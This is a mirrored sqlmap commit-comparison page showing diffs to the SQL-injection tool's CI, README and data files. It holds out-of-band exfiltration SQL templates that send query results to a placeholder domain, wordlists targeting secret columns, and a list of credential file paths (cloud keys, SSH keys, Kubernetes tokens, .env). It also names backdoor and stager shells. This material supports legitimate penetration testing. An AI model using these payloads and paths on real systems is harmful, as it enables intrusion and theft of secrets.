mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-12 02:22:55 +00:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
863ff6e0e5 | ||
|
|
1192d266c8 | ||
|
|
0a35b20e39 | ||
|
|
a184c89a6b | ||
|
|
91239a3c10 | ||
|
|
0ee19bdf3d | ||
|
|
cef41c7fa2 | ||
|
|
973ab5ab88 | ||
|
|
d424016742 | ||
|
|
bec4dedbc9 | ||
|
|
529fc7aebb | ||
|
|
8a3b312950 | ||
|
|
774c044519 | ||
|
|
848ba68ccf | ||
|
|
77ee160875 | ||
|
|
49a774035f | ||
|
|
dc42edc19f | ||
|
|
0ba9df2589 | ||
|
|
cbe892410c | ||
|
|
76ddd7a1b9 | ||
|
|
9f798873c4 | ||
|
|
bdf3e09315 | ||
|
|
99367454c5 | ||
|
|
6770b2847b | ||
|
|
319910ccd8 | ||
|
|
ebf4b48337 | ||
|
|
92c2ee47ea | ||
|
|
58d6f740b7 | ||
|
|
e9f8180614 | ||
|
|
d8dbaee0df | ||
|
|
b154f084e0 | ||
|
|
e11ea65230 | ||
|
|
90b14df46c | ||
|
|
53411f6fd8 | ||
|
|
08b986d40c | ||
|
|
d6370a681b | ||
|
|
f9a45c6755 | ||
|
|
3d1258d57d | ||
|
|
dd57fd91e2 | ||
|
|
fb5339d783 | ||
|
|
bbe164a7f3 | ||
|
|
a8b1bb371d | ||
|
|
7d2c33cd32 | ||
|
|
aa8d9b9841 | ||
|
|
61ffadb487 | ||
|
|
881d2e8f90 | ||
|
|
2726807871 | ||
|
|
be881ea65e | ||
|
|
6acc970801 | ||
|
|
be128473d5 | ||
|
|
7b8bf447a0 | ||
|
|
776643e3bd | ||
|
|
fc503ee8d5 | ||
|
|
ede662eca6 | ||
|
|
dbe2734b71 | ||
|
|
a9f5d30b4a | ||
|
|
96fec6864e | ||
|
|
fca694c327 | ||
|
|
cb8298d55a | ||
|
|
579e559c71 | ||
|
|
5be154b9e2 | ||
|
|
112356ac5c | ||
|
|
15a39b6ee9 | ||
|
|
3186a4fa31 | ||
|
|
311bf7ce4d | ||
|
|
1f42f52980 | ||
|
|
ac313f009e | ||
|
|
5fb4b47378 | ||
|
|
e81a99c4f3 | ||
|
|
3a680be4eb | ||
|
|
39d22d26c3 | ||
|
|
306738539e | ||
|
|
023d85fba8 | ||
|
|
2afa92451a | ||
|
|
0630556826 | ||
|
|
2bf5bd1aa4 | ||
|
|
e75d75dbe6 | ||
|
|
aa42dc041d | ||
|
|
0a6dbd260f | ||
|
|
1c869b7430 | ||
|
|
f21a6ab88d | ||
|
|
1b09b028ba | ||
|
|
90fe32f386 | ||
|
|
d7d06c088d | ||
|
|
b0afe6b8d4 | ||
|
|
1dcca2c862 | ||
|
|
ffffe2d0b2 | ||
|
|
356984929f | ||
|
|
e8a2fc50e0 | ||
|
|
f992e44fb5 | ||
|
|
84f0ef8232 | ||
|
|
0079412fd2 | ||
|
|
154adb1d4d | ||
|
|
18e06c6381 | ||
|
|
0ab84074f7 | ||
|
|
cd911acb24 | ||
|
|
5dd91ba8ca | ||
|
|
9fdb704af7 | ||
|
|
bb9e5dbf44 | ||
|
|
f43dba3d34 | ||
|
|
fbc3704bf2 | ||
|
|
762650db07 | ||
|
|
534f873660 | ||
|
|
2aeb275ec9 | ||
|
|
d3cfad6a8d | ||
|
|
1d263f22c3 | ||
|
|
8b70a392a1 | ||
|
|
ec58f57fa9 | ||
|
|
69108bcf01 | ||
|
|
dcb2b513c0 | ||
|
|
13e956ca64 | ||
|
|
ca608da2f1 | ||
|
|
c75df91eb7 | ||
|
|
a1ed35cf3b | ||
|
|
2f56ad66f4 | ||
|
|
07d8d5f731 | ||
|
|
523cdd8d9e | ||
|
|
57dee852e4 | ||
|
|
bf138e800a | ||
|
|
d2bcb39763 | ||
|
|
edbfca0b8e | ||
|
|
b2f98b61ec | ||
|
|
5a5aebfc6e | ||
|
|
a4c983ae06 | ||
|
|
ab881132b8 | ||
|
|
1bd1b457d7 | ||
|
|
2d9e9ed959 | ||
|
|
075d009bb7 | ||
|
|
ffe124f3e0 | ||
|
|
fcec8ef89e | ||
|
|
f129d3ac76 | ||
|
|
36ebce6935 | ||
|
|
e6a5e8ff05 | ||
|
|
c294098cc1 | ||
|
|
272d1447d7 | ||
|
|
a5a7f7203a | ||
|
|
bdf1901a43 | ||
|
|
016c388a13 | ||
|
|
e8512c8c13 | ||
|
|
9925adf799 | ||
|
|
0cf4c641a1 | ||
|
|
a7c63afdd8 | ||
|
|
99ec51f86d | ||
|
|
d381a32c94 | ||
|
|
721c9d9d70 | ||
|
|
a22f782db5 | ||
|
|
26e13122ca | ||
|
|
002828a734 | ||
|
|
6b8de6704c | ||
|
|
4a0308dd8d | ||
|
|
6a4ae1fa96 | ||
|
|
5848fa4f1a | ||
|
|
6d9322bc74 | ||
|
|
e589936982 | ||
|
|
37771f0d25 | ||
|
|
2626e50190 | ||
|
|
3238415d48 | ||
|
|
0f5ba41535 | ||
|
|
67574b8047 | ||
|
|
6ce5d7d7e4 | ||
|
|
fc9b3c9b67 | ||
|
|
b0408f1bd8 | ||
|
|
adc43552d6 | ||
|
|
d1eb861d72 | ||
|
|
09389aadeb | ||
|
|
620f3a77a1 | ||
|
|
6234b62c6f | ||
|
|
2e28b70975 | ||
|
|
d2a9db2aba | ||
|
|
69c8a94be4 | ||
|
|
47e98a02d0 | ||
|
|
c64870301f | ||
|
|
f88ecc007d | ||
|
|
1db09d5a98 | ||
|
|
7b64ae7303 | ||
|
|
f56ab884c7 | ||
|
|
8614059876 | ||
|
|
3764ec63e1 | ||
|
|
267c20048d | ||
|
|
8c86dc68a7 | ||
|
|
c78cd5c43e | ||
|
|
932a5bd7b2 | ||
|
|
d08e992ad6 | ||
|
|
dcecf55780 | ||
|
|
20537c52c5 | ||
|
|
fabe4ce04d | ||
|
|
e288df23db | ||
|
|
00cccf78e5 | ||
|
|
109ce217ec | ||
|
|
384ee1a91a | ||
|
|
54bb3ea136 | ||
|
|
5b322542f0 | ||
|
|
80aaa79ea1 | ||
|
|
697e591c2a | ||
|
|
afc49107b5 | ||
|
|
ab6ce22593 | ||
|
|
76b75e95f0 | ||
|
|
b38eb79ed0 | ||
|
|
9db49d5e34 | ||
|
|
0c6f57d9ec | ||
|
|
43c6574056 | ||
|
|
57f8485279 | ||
|
|
c496cf99e6 | ||
|
|
da07c8756d | ||
|
|
71afbf0711 | ||
|
|
7ee21bbaf9 | ||
|
|
0338c13063 | ||
|
|
5f99b283c2 | ||
|
|
1c894ab116 | ||
|
|
af385c37c0 | ||
|
|
dab476da8a | ||
|
|
38ab43f29e | ||
|
|
94e21844d7 | ||
|
|
b1ff8a31d8 | ||
|
|
9331ac0f2c | ||
|
|
16cd9425ae | ||
|
|
d69ae91325 | ||
|
|
59933891e0 | ||
|
|
dad2f02f28 | ||
|
|
05005dde58 | ||
|
|
9d08b1dc03 | ||
|
|
a61e35980a | ||
|
|
2acc8a5540 | ||
|
|
921870ccf0 | ||
|
|
d5ff557a13 | ||
|
|
e23a91f6db | ||
|
|
3378f8df34 | ||
|
|
ab59a4b72a | ||
|
|
97c8b45ccc | ||
|
|
d9a4a0992f | ||
|
|
fb9cec1e97 | ||
|
|
8bc0f4794c | ||
|
|
567e051215 | ||
|
|
40ccd801dc | ||
|
|
1cdc69eb0e | ||
|
|
354977bb5d | ||
|
|
52c742458b | ||
|
|
827ec0a06c | ||
|
|
b8fb645db0 | ||
|
|
f4c4025bdb | ||
|
|
986933e709 | ||
|
|
2fec735b13 | ||
|
|
d0f16b284d | ||
|
|
346c9d9f03 | ||
|
|
df6c50add2 | ||
|
|
6ece3c61bf | ||
|
|
2a9da9d9e5 | ||
|
|
2aafdc0e46 | ||
|
|
3784f8bafd | ||
|
|
1465d55a47 | ||
|
|
622cfa76c6 | ||
|
|
fc1ae6950e | ||
|
|
4c12dda2f7 | ||
|
|
767feba3a7 | ||
|
|
8837dd2435 | ||
|
|
478888b19e | ||
|
|
c1363dd44c | ||
|
|
c1516f1750 | ||
|
|
5893f069ae | ||
|
|
d8cc2ae93b | ||
|
|
8dda2b42a5 | ||
|
|
dd4f40ad5e | ||
|
|
165bf837c9 | ||
|
|
8db71f4d67 | ||
|
|
fd009027f7 | ||
|
|
0033934426 | ||
|
|
291abb0ee8 | ||
|
|
4b3a36ca51 | ||
|
|
4504edaeb1 | ||
|
|
e2c55c1ddc | ||
|
|
89ddc5a592 | ||
|
|
f65dc92b1e | ||
|
|
f46c463eba | ||
|
|
b2a5283e9b | ||
|
|
05f81ab191 | ||
|
|
788c9fa134 | ||
|
|
8f6a37275c | ||
|
|
50ff3debe5 | ||
|
|
6597415ab0 | ||
|
|
3bab3cd795 | ||
|
|
3b3a822e32 | ||
|
|
7fd6bb3b7d | ||
|
|
103a0e6b0f | ||
|
|
3cf29a543a | ||
|
|
5fa2da5eae | ||
|
|
16c8909a0c | ||
|
|
2b9fd6cf82 | ||
|
|
d60e95ede7 | ||
|
|
71d9c6d0f4 | ||
|
|
732d164538 | ||
|
|
2719ce6c59 | ||
|
|
fe69e6bfcc | ||
|
|
d6299fc4f5 | ||
|
|
a7c9b721fd | ||
|
|
47b8b6ed07 | ||
|
|
d2ead9dcda | ||
|
|
e1126a2a4e | ||
|
|
a3bff54cc5 | ||
|
|
c2209d9326 | ||
|
|
1716ad1524 | ||
|
|
bd10f84a9b | ||
|
|
6514597dbb | ||
|
|
40a31c155c | ||
|
|
62a7bf3b03 | ||
|
|
3e7d064cc9 | ||
|
|
39ba1bc00e | ||
|
|
8a75c0bb62 | ||
|
|
6e459d66f2 | ||
|
|
9e92d3cc94 | ||
|
|
3307babb14 | ||
|
|
d984593bcb |
@@ -17,6 +17,10 @@ jobs:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 30
|
||||
|
||||
env:
|
||||
# deterministic dict/set iteration order run-to-run (guards against hash-order flakiness in CI)
|
||||
PYTHONHASHSEED: "0"
|
||||
|
||||
strategy:
|
||||
matrix:
|
||||
include:
|
||||
@@ -107,6 +111,12 @@ jobs:
|
||||
# 'binary' instead of 'text'. Keeping this step byte-compile-free leaves --smoke clean.
|
||||
run: python -B -m unittest discover -s tests -p "test_*.py"
|
||||
|
||||
- name: Esperanto self-test
|
||||
# offline, deterministic engine check against an in-memory SQLite boolean oracle: all
|
||||
# compare modes + identify + bytes/text + noisy-oracle quorum + integrity + strategy
|
||||
# handoff (a failed assertion exits non-zero)
|
||||
run: python extra/esperanto/run.py --self-test
|
||||
|
||||
- name: Coverage
|
||||
if: matrix.python-version != 'pypy-2.7'
|
||||
run: |
|
||||
@@ -118,6 +128,11 @@ jobs:
|
||||
- name: Smoke test
|
||||
run: python sqlmap.py --smoke-test
|
||||
|
||||
- name: Payload lint
|
||||
# offline: emulates blind + UNION enumeration across all DBMSes and checks
|
||||
# every payload agent.py builds with lib/utils/sqllint (structural sanity)
|
||||
run: python sqlmap.py --payload-lint
|
||||
|
||||
- name: Vuln test
|
||||
run: python sqlmap.py --vuln-test
|
||||
|
||||
|
||||
@@ -16,3 +16,5 @@ plugins/.DS_Store
|
||||
thirdparty/.DS_Store
|
||||
CLAUDE.md
|
||||
.coverage
|
||||
.codegraph/
|
||||
.claude/
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,6 +47,8 @@ Links
|
||||
* Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Playground: https://sekumart.sekuripy.hr
|
||||
* Research: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
Translations
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
SELECT count(*) FROM url('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/', 'CSV', 'c String')
|
||||
@@ -0,0 +1,2 @@
|
||||
SELECT FILE_READ('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/', NULL)
|
||||
# or SELECT CSVREAD('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/')
|
||||
Binary file not shown.
Binary file not shown.
@@ -2768,6 +2768,42 @@ shouji
|
||||
u_pass
|
||||
hashedPw
|
||||
|
||||
# API keys, tokens and secrets
|
||||
|
||||
api_key
|
||||
apikey
|
||||
api_token
|
||||
access_token
|
||||
refresh_token
|
||||
auth_token
|
||||
session_token
|
||||
remember_token
|
||||
secret_key
|
||||
client_secret
|
||||
encryption_key
|
||||
reset_token
|
||||
password_reset_token
|
||||
verification_token
|
||||
confirmation_token
|
||||
otp
|
||||
otp_secret
|
||||
totp_secret
|
||||
mfa_secret
|
||||
two_factor_secret
|
||||
|
||||
# Framework and identity columns
|
||||
|
||||
deleted_at
|
||||
uuid
|
||||
role
|
||||
is_admin
|
||||
is_active
|
||||
is_verified
|
||||
date_of_birth
|
||||
dob
|
||||
credit_card
|
||||
postal_code
|
||||
|
||||
# password (international)
|
||||
|
||||
adgangskode
|
||||
|
||||
@@ -1807,3 +1807,48 @@
|
||||
/opt/kibana/config/kibana.yml
|
||||
/etc/kibana/kibana.yml
|
||||
/etc/elasticsearch/elasticsearch.yml
|
||||
|
||||
# Containers and orchestration secrets
|
||||
|
||||
/.dockerenv
|
||||
/proc/self/cgroup
|
||||
/proc/1/cgroup
|
||||
/run/secrets/kubernetes.io/serviceaccount/token
|
||||
/var/run/secrets/kubernetes.io/serviceaccount/token
|
||||
/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||
/var/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||
/run/secrets/kubernetes.io/serviceaccount/ca.crt
|
||||
|
||||
# Cloud provider credentials
|
||||
|
||||
/root/.aws/credentials
|
||||
/root/.aws/config
|
||||
/root/.config/gcloud/application_default_credentials.json
|
||||
/root/.config/gcloud/credentials.db
|
||||
/root/.azure/accessTokens.json
|
||||
/root/.kube/config
|
||||
|
||||
# SSH keys and DB/tool history
|
||||
|
||||
/root/.ssh/authorized_keys
|
||||
/root/.ssh/id_ed25519
|
||||
/root/.ssh/id_ecdsa
|
||||
/root/.ssh/id_dsa
|
||||
/root/.mysql_history
|
||||
/root/.psql_history
|
||||
/root/.rediscli_history
|
||||
/root/.python_history
|
||||
/root/.sqlite_history
|
||||
|
||||
# dotenv, VCS and app config under common web roots
|
||||
|
||||
/var/www/.env
|
||||
/var/www/html/.env
|
||||
/app/.env
|
||||
/usr/share/nginx/html/.env
|
||||
/var/www/html/.git/config
|
||||
/var/www/html/.git/HEAD
|
||||
/var/www/html/wp-config.php
|
||||
/app/application.properties
|
||||
/app/application.yml
|
||||
/app/docker-compose.yml
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,243 @@
|
||||
# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
id
|
||||
page
|
||||
q
|
||||
query
|
||||
search
|
||||
s
|
||||
keyword
|
||||
keywords
|
||||
name
|
||||
username
|
||||
user
|
||||
uid
|
||||
userid
|
||||
email
|
||||
mail
|
||||
pass
|
||||
password
|
||||
pwd
|
||||
token
|
||||
key
|
||||
apikey
|
||||
api_key
|
||||
access_token
|
||||
auth
|
||||
session
|
||||
sid
|
||||
sessionid
|
||||
lang
|
||||
language
|
||||
locale
|
||||
country
|
||||
region
|
||||
city
|
||||
zip
|
||||
sort
|
||||
order
|
||||
orderby
|
||||
dir
|
||||
direction
|
||||
filter
|
||||
category
|
||||
cat
|
||||
type
|
||||
kind
|
||||
class
|
||||
group
|
||||
tag
|
||||
tags
|
||||
status
|
||||
state
|
||||
action
|
||||
act
|
||||
cmd
|
||||
command
|
||||
op
|
||||
operation
|
||||
mode
|
||||
method
|
||||
func
|
||||
function
|
||||
callback
|
||||
jsonp
|
||||
format
|
||||
output
|
||||
view
|
||||
tab
|
||||
step
|
||||
stage
|
||||
debug
|
||||
test
|
||||
dev
|
||||
admin
|
||||
role
|
||||
level
|
||||
priv
|
||||
file
|
||||
filename
|
||||
path
|
||||
dir
|
||||
folder
|
||||
doc
|
||||
document
|
||||
url
|
||||
uri
|
||||
link
|
||||
href
|
||||
redirect
|
||||
redirect_uri
|
||||
return
|
||||
returnurl
|
||||
return_url
|
||||
next
|
||||
target
|
||||
dest
|
||||
destination
|
||||
goto
|
||||
continue
|
||||
ref
|
||||
referer
|
||||
referrer
|
||||
source
|
||||
src
|
||||
from
|
||||
to
|
||||
date
|
||||
year
|
||||
month
|
||||
day
|
||||
time
|
||||
timestamp
|
||||
start
|
||||
end
|
||||
begin
|
||||
finish
|
||||
limit
|
||||
offset
|
||||
count
|
||||
num
|
||||
number
|
||||
size
|
||||
length
|
||||
width
|
||||
height
|
||||
amount
|
||||
price
|
||||
qty
|
||||
quantity
|
||||
value
|
||||
val
|
||||
data
|
||||
input
|
||||
content
|
||||
text
|
||||
msg
|
||||
message
|
||||
body
|
||||
title
|
||||
subject
|
||||
description
|
||||
desc
|
||||
comment
|
||||
note
|
||||
code
|
||||
hash
|
||||
sig
|
||||
signature
|
||||
csrf
|
||||
csrf_token
|
||||
csrftoken
|
||||
nonce
|
||||
salt
|
||||
enc
|
||||
encrypt
|
||||
decrypt
|
||||
base64
|
||||
json
|
||||
xml
|
||||
raw
|
||||
echo
|
||||
reflect
|
||||
show
|
||||
hide
|
||||
display
|
||||
render
|
||||
template
|
||||
tpl
|
||||
theme
|
||||
skin
|
||||
style
|
||||
color
|
||||
font
|
||||
image
|
||||
img
|
||||
photo
|
||||
avatar
|
||||
icon
|
||||
banner
|
||||
video
|
||||
audio
|
||||
media
|
||||
attachment
|
||||
upload
|
||||
download
|
||||
export
|
||||
import
|
||||
backup
|
||||
restore
|
||||
sync
|
||||
refresh
|
||||
reload
|
||||
reset
|
||||
clear
|
||||
flush
|
||||
purge
|
||||
enable
|
||||
disable
|
||||
active
|
||||
enabled
|
||||
visible
|
||||
public
|
||||
private
|
||||
locked
|
||||
verified
|
||||
confirmed
|
||||
approved
|
||||
product
|
||||
item
|
||||
sku
|
||||
model
|
||||
brand
|
||||
vendor
|
||||
seller
|
||||
store
|
||||
shop
|
||||
cart
|
||||
basket
|
||||
checkout
|
||||
payment
|
||||
invoice
|
||||
receipt
|
||||
transaction
|
||||
account
|
||||
profile
|
||||
member
|
||||
customer
|
||||
client
|
||||
company
|
||||
organization
|
||||
org
|
||||
department
|
||||
team
|
||||
project
|
||||
task
|
||||
job
|
||||
event
|
||||
booking
|
||||
reservation
|
||||
appointment
|
||||
schedule
|
||||
calendar
|
||||
@@ -3372,17 +3372,23 @@ django_session
|
||||
django_migrations
|
||||
django_content_type
|
||||
django_admin_log
|
||||
auth_user_groups
|
||||
auth_user_user_permissions
|
||||
|
||||
# laravel
|
||||
|
||||
migrations
|
||||
password_resets
|
||||
password_reset_tokens
|
||||
failed_jobs
|
||||
personal_access_tokens
|
||||
job_batches
|
||||
model_has_roles
|
||||
model_has_permissions
|
||||
role_has_permissions
|
||||
cache
|
||||
cache_locks
|
||||
notifications
|
||||
|
||||
# rails
|
||||
|
||||
@@ -3420,3 +3426,6 @@ subscriptions
|
||||
users_bak
|
||||
users_old
|
||||
orders_backup
|
||||
user_roles
|
||||
role_permissions
|
||||
tokens
|
||||
|
||||
@@ -1633,3 +1633,5 @@ YEAR
|
||||
|
||||
ORD
|
||||
MID
|
||||
TOP
|
||||
ROWNUM
|
||||
|
||||
@@ -1,738 +0,0 @@
|
||||
e70317eb90f7d649e4320e59b2791b8eb5810c8cad8bc0c49d917eac966b0f18 data/procs/mssqlserver/activate_sp_oacreate.sql
|
||||
6a2de9f090c06bd77824e15ac01d2dc11637290cf9a5d60c00bf5f42ac6f7120 data/procs/mssqlserver/configure_openrowset.sql
|
||||
798f74471b19be1e6b1688846631b2e397c1a923ad8eca923c1ac93fc94739ad data/procs/mssqlserver/configure_xp_cmdshell.sql
|
||||
5dfaeac6e7ed4c3b56fc75b3c3a594b8458effa4856c0237e1b48405c309f421 data/procs/mssqlserver/create_new_xp_cmdshell.sql
|
||||
3c8944fbd4d77b530af2c72cbabeb78ebfb90f01055a794eede00b7974a115d0 data/procs/mssqlserver/disable_xp_cmdshell_2000.sql
|
||||
afb169095dc36176ffdd4efab9e6bb9ed905874469aac81e0ba265bc6652caa4 data/procs/mssqlserver/dns_request.sql
|
||||
657d56f764c84092ff4bd10b8fcbde95c13780071b715df0af1bc92b7dd284f2 data/procs/mssqlserver/enable_xp_cmdshell_2000.sql
|
||||
1b7d521faca0f69a62c39e0e4267e18a66f8313b22b760617098b7f697a5c81d data/procs/mssqlserver/run_statement_as_user.sql
|
||||
9b8b6e430c705866c738dd3544b032b0099a917d91c85d2b25a8a5610c92bcdf data/procs/mysql/dns_request.sql
|
||||
02b7ef3e56d8346cc4e06baa85b608b0650a8c7e3b52705781a691741fc41bfb data/procs/mysql/write_file_limit.sql
|
||||
02be5ce785214cb9cac8f0eab10128d6f39f5f5de990dea8819774986d0a7900 data/procs/oracle/dns_request.sql
|
||||
606fe26228598128c88bda035986281f117879ac7ff5833d88e293c156adc117 data/procs/oracle/read_file_export_extension.sql
|
||||
4d448d4b7d8bc60ab2eeedfe16f7aa70c60d73aa6820d647815d02a65b1af9eb data/procs/postgresql/dns_request.sql
|
||||
7e3e28eac7f9ef0dea0a6a4cdb1ce9c41f28dd2ee0127008adbfa088d40ef137 data/procs/README.txt
|
||||
3ba14fdeac54b552860f6d1d73e7dc38dfcde6ef184591b135687d9c21d7c8cd data/shell/backdoors/backdoor.asp_
|
||||
35197e3786008b389adf3ecb46e72a5d6f9c7f00a8c9174bf362a4e4d32e594c data/shell/backdoors/backdoor.aspx_
|
||||
081680b403d0d02b6b1c49d67a5372b95c2a345038c4e2b9ac446af8b4af2cc8 data/shell/backdoors/backdoor.cfm_
|
||||
f240c9ba18caaf353e3c41340f36e880ed16385cad4937729e59a4fd4e3fa40a data/shell/backdoors/backdoor.jsp_
|
||||
78b8b00aeaf9fddc5c62832563f3edda18ec0f6429075e7d89d06fce9ddcf8c2 data/shell/backdoors/backdoor.php_
|
||||
a08e09c1020eae40b71650c9b0ac3c3842166db639fdcfc149310fc8cf536f64 data/shell/README.txt
|
||||
a65269dcf3cecd4be0bf6b657cbf49ac77814ac7b0e30afa1cd44bc2fed64c33 data/shell/stagers/stager.asp_
|
||||
8f625fdc513258ee26b3cae257be7114c9f114acb1e93172e2a8f5d2e8e0e0db data/shell/stagers/stager.aspx_
|
||||
c52c17f3344707cae4c3694a979e073202bd46866fcc51d99f7e4d0c21cf335b data/shell/stagers/stager.cfm_
|
||||
8cb4a001efc15bd8022d44df6eb9b2f5f5af1c64caba8f7dffde563ccba76347 data/shell/stagers/stager.jsp_
|
||||
af4e1f87ec7afd12b7ddb39ff07bf24cd31be2b1de11e1be064e1dd96ff43eac data/shell/stagers/stager.php_
|
||||
eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt
|
||||
63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt
|
||||
852b420157bbffb56947e4b201a7df5242e75443ab161049a50235eb4e8e9aae data/txt/common-outputs.txt
|
||||
44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11 data/txt/common-tables.txt
|
||||
ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywords.txt
|
||||
522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt
|
||||
6c07785ff36482ce798c48cc30ce6954855aadbe3bfac9f132207801a82e2473 data/txt/user-agents.txt
|
||||
9c2d6a0e96176447ab8758f8de96e6a681aa0c074cd0eca497712246d8f410c6 data/txt/wordlist.tx_
|
||||
0a1f612740c5cf7cd58de8aadd5b758c887cf8465e629787e29234d7d0777514 data/udf/mysql/linux/32/lib_mysqludf_sys.so_
|
||||
6944a6f7b4137ef5c4dedff23102af2bd199097fc8c33aeea3891f8cff25e002 data/udf/mysql/linux/64/lib_mysqludf_sys.so_
|
||||
4ceb22cb3ae14b44d68b56b147e1bd61a70cb424a3e95b6d010330f47e0fb5d0 data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
|
||||
4cc318f2574366686220b78ce905e52ae821526b0228beea538063f552813282 data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
|
||||
dc6ac20faf8d738673de1b42399d23be1c4006238a863e0aec96d1b84c7120de data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_
|
||||
5f062f5949803b9457ab1f4c138f2a97004944fdd3adf59954070b36863024fa data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_
|
||||
3b3b46ccbf3c588ebaf90bf070eb1049fcf683918d54260c12b3d682916a155b data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
|
||||
d662e025c2680a4b463fe7c0baad16582f0700800140d5cfcdddbabc5287f720 data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
|
||||
e8050613548293ef500277713a4aa9aa5ca1a9f5f1fef3120a04dc1ae1440937 data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
|
||||
585a29538fdcdb43994d6b2273447287695676855a80b74fc84d76a228cf86c5 data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
|
||||
956c17e6ef74ac4f4d423e9060f9fd5fb6aaa885dcda75f3180edfbb6e5debe5 data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
|
||||
619ae8bcce96042c4777250bccf9db41ee7131a7b610e79385116bce146704e2 data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
|
||||
7c8359639ecbc57cf9278e22cc177073c69999826ba940aa2ce86fc829d27ab8 data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
|
||||
2e77400e71c964f3d2491dbddeb92eef6c9e2fcc8db57d58e10b95976dc54524 data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
|
||||
b4e5c86ba5c9ad668d822944fe8bfd59664cc8a6c3a6e5fb6cf2ce1fe7cb04a9 data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_
|
||||
c58117a9c5569bbf74170a5cd93d7c878b260c813515694e42d25b6d38bbeb79 data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_
|
||||
ffb54c96f422b1e833152b7134adff65418e155e1d3a798e9325cf53daadd308 data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_
|
||||
b907f950f8485d661b4a2c8cb53fbc4d25606275ef36e33929fd4772cfa8925d data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_
|
||||
f9015f9b1c4d8ffe0bf806718e31d36b32108544a3b99fda6a8c44ebfdcca0ff data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_
|
||||
869d9df6b8bee8f801fabfda5ca242bd3514c1c9a666c28c52770ffe6eaf7afc data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
|
||||
4e53979687166cc26a320069f9cdfe09535f348088fc76810314a6cf41e13d12 data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
|
||||
bd8ae1dd0c61634615cd26dd9765e24b8c63302cf0663fbb4b516b4cbde5457e data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
|
||||
8ce6f5d9b6821e57d516a07255cf5db544ee683db24ee231e5ce8c152baf0a69 data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
|
||||
6b0c4996ade6d1e667d52037d6687548a442d9c6fc1e4c31e0ba3b2248474b1f data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
|
||||
d3e0238e9c83b88061b1613db5c9faed5f03a16f6ecf34c52d5ff9ac960107d0 data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
|
||||
102986c0524cab385c95deba4efed4ad7e3479ef2770cc7256571958b9325b4f data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
|
||||
031b5ca9e9ff47435821d04abbe0716e464785dd57e58439ff9dc552144f4e59 data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
|
||||
dc1e3542e639ffa2b63972d34fc2529054ec163560c1f28c1719413759f94616 data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_
|
||||
07d425be2d24cd480299759c12dd8b1c77707dc9879b1878033c3149185ccf60 data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_
|
||||
c5b9d622aca6da735e7ed9906e28c7e061e97c223ef92ba1a5d5028ecbb16962 data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
|
||||
807413d852b9d2db33b7f6064699df3328cd4cf9357cac4f7627a0bbb38f6fbf data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
|
||||
8f7f59a6896ae5b39e2afbfe8479a1f2637fb52220cc1e7158921e570d15fb2a data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
|
||||
7c2511b47ab9d0de1d77f1d775c6522285687ee82fec0edc11cada75ac3f29ae data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
|
||||
